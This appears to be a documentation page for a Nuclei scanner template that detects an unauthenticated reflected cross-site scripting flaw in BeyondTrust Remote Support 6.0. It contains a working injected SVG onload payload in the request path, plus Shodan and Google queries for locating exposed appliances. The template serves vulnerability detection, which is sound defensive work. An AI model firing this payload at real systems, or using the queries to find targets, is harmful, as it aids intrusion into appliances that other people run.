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BeyondTrust Remote Support 6.0 - Cross-Site Scripting

ID: beyond-trust-xss

Severity: medium

Author: r3Y3r53

Tags: beyondtrust,xss,intrusive

Description

Section titled “Description”

Unauthenticated cross-site scripting (XSS) vulnerability in BeyondTrust Secure Remote Access Base Software through 6.0.1 allow remote attackers to inject arbitrary web script or HTML. Remote attackers could acheive full admin access to the appliance, by tricking the administrator into creating a new admin account through an XSS/CSRF attack involving a crafted request to the /appliance/users?action=edit endpoint.

YAML Source

Section titled “YAML Source”
id: beyond-trust-xss


info:
  name: BeyondTrust Remote Support 6.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Unauthenticated cross-site scripting (XSS) vulnerability in BeyondTrust Secure Remote Access Base Software through 6.0.1 allow remote attackers to inject arbitrary web script or HTML. Remote attackers could acheive full admin access to the appliance, by tricking the administrator into creating a new admin account through an XSS/CSRF attack involving a crafted request to the /appliance/users?action=edit endpoint.
  reference:
    - https://www.exploit-db.com/exploits/50632
  classification:
    cpe: cpe:2.3:a:beyondtrust:remote_support:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: beyondtrust
    product: remote_support
    shodan-query: html:"BeyondTrust"
    google-query: intext:"BeyondTrust" "Redistribution Prohibited"
  tags: beyondtrust,xss,intrusive


http:
  - method: GET
    path:
      - "{{BaseURL}}/appliance/login?login[password]={{randstr}}%22%3E%3Csvg/onload=alert(document.domain)%3E&login[use_curr]=1&login[submit]=Change%20Password"


    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<svg/onload=alert(document.domain)>") && contains(body, "beyondtrust")'
        condition: and
# digest: 490a0046304402201b0f9fd658c920e0625489d4c192f0709cb29e1d2d759ac3fb9ae2b1e98835180220537a39619f7e0956700ebc42a73e6309cce72cf7fad9603abe78af00e8328460:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/beyond-trust-xss.yaml"

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